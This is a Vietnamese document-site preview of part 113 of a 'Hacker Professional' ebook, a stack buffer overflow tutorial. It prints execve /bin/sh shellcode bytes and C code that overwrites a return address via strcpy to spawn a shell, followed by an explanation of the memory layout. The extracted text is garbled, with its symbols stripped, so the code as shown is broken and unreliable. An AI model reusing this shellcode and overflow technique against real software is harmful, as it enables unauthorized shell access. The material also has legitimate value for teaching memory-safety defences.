Hacker Professional Ebook part 113

Tham khảo tài liệu 'hacker professional ebook part 113', công nghệ thông tin, kỹ thuật lập trình phục vụ nhu cầu học tập, nghiên cứu và làm việc hiệu quả | exit đt@localhost vicki Viết tràn bộ đệm Ví dụ 1 char shellcode xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd x80xe8xdcxffxffxff bin sh char large_string 128 void main char buffer 96 int i long long_ptr long large_string for i 0 i 32 i long_ptr i int buffer for i 0 i strlen shellcode i large_string i shellcode i strcpy buffer large_string đt@localhost vicki cc -o overflow đt@localhost vicki . overflow exit đt@localhost vicki Giải thích đỉnh của ------------ đáy của -------------- đỉnh của bộ nhớ ret addr stack addr buffer bộ nhớ ------------ I addr buffer I I ebP 1 1 . 1 ------------ I addr buffer I I I I addr buffer I large_string 128 I buffer 96 I I addr buffer I I I I I ------------ I shellcode I I long_ptr I---------- I I đáy của ------------- đỉnh của ------------- đáy của bộ nhớ stack bộ nhớ STACK HEAP char large_string 128 cấp phát một vùng nhớ 128 bytes trên HEAP long long_ptr long large_string cho long_ptr trỏ đến đầu mảng large_string for i 0 i 32 i long_ptr i int buffer lắp đầy mảng large_string bằng địa chỉ của mảng buffer for i 0 i large_string i shellcode i đẩy shellcode vào phần đầu của mảng large_string strcpy buffer large_string copy large_string vào buffer. làm tràn bộ đệm Trước hết chúng ta khởi tạo một mảng large_string có kích thước lớn hơn buffer trên HEAP. Tiếp theo lắp đầy large_string bằng địa chỉ của buffer . Shellcode sẽ được gắn vào phần đầu của large_string . Khi hàm strcpy được thực hiện nó sẽ copy large_string vào buffer. Bởi vì large_string quá lớn nên nó sẽ ghi đè lên ebp và return addr. Phần trên của mảng large_string toàn là địa chỉ của buffer - addr buffer nên return addr sẽ trỏ đến buffer 0 . Mà nằm ngay ở phần đầu của buffer lại chính là shellcode do ta đã copy large_string vào buffer bằng hàm strcpy nên shellcode sẽ được thi hành nó sẽ đô ra một shell lệnh. Ví dụ 2 Để viết tràn bộ đệm bạn phải biến địa chỉ của buffer trên stack. Thật may

Không thể tạo bản xem trước, hãy bấm tải xuống
TÀI LIỆU LIÊN QUAN
5    176    1
5    255    1
5    106    0
5    121    1
6    103    1
6    107    1
6    121    1
6    103    0
6    140    0
TÀI LIỆU MỚI ĐĂNG
Đã phát hiện trình chặn quảng cáo AdBlock
Trang web này phụ thuộc vào doanh thu từ số lần hiển thị quảng cáo để tồn tại. Vui lòng tắt trình chặn quảng cáo của bạn hoặc tạm dừng tính năng chặn quảng cáo cho trang web này.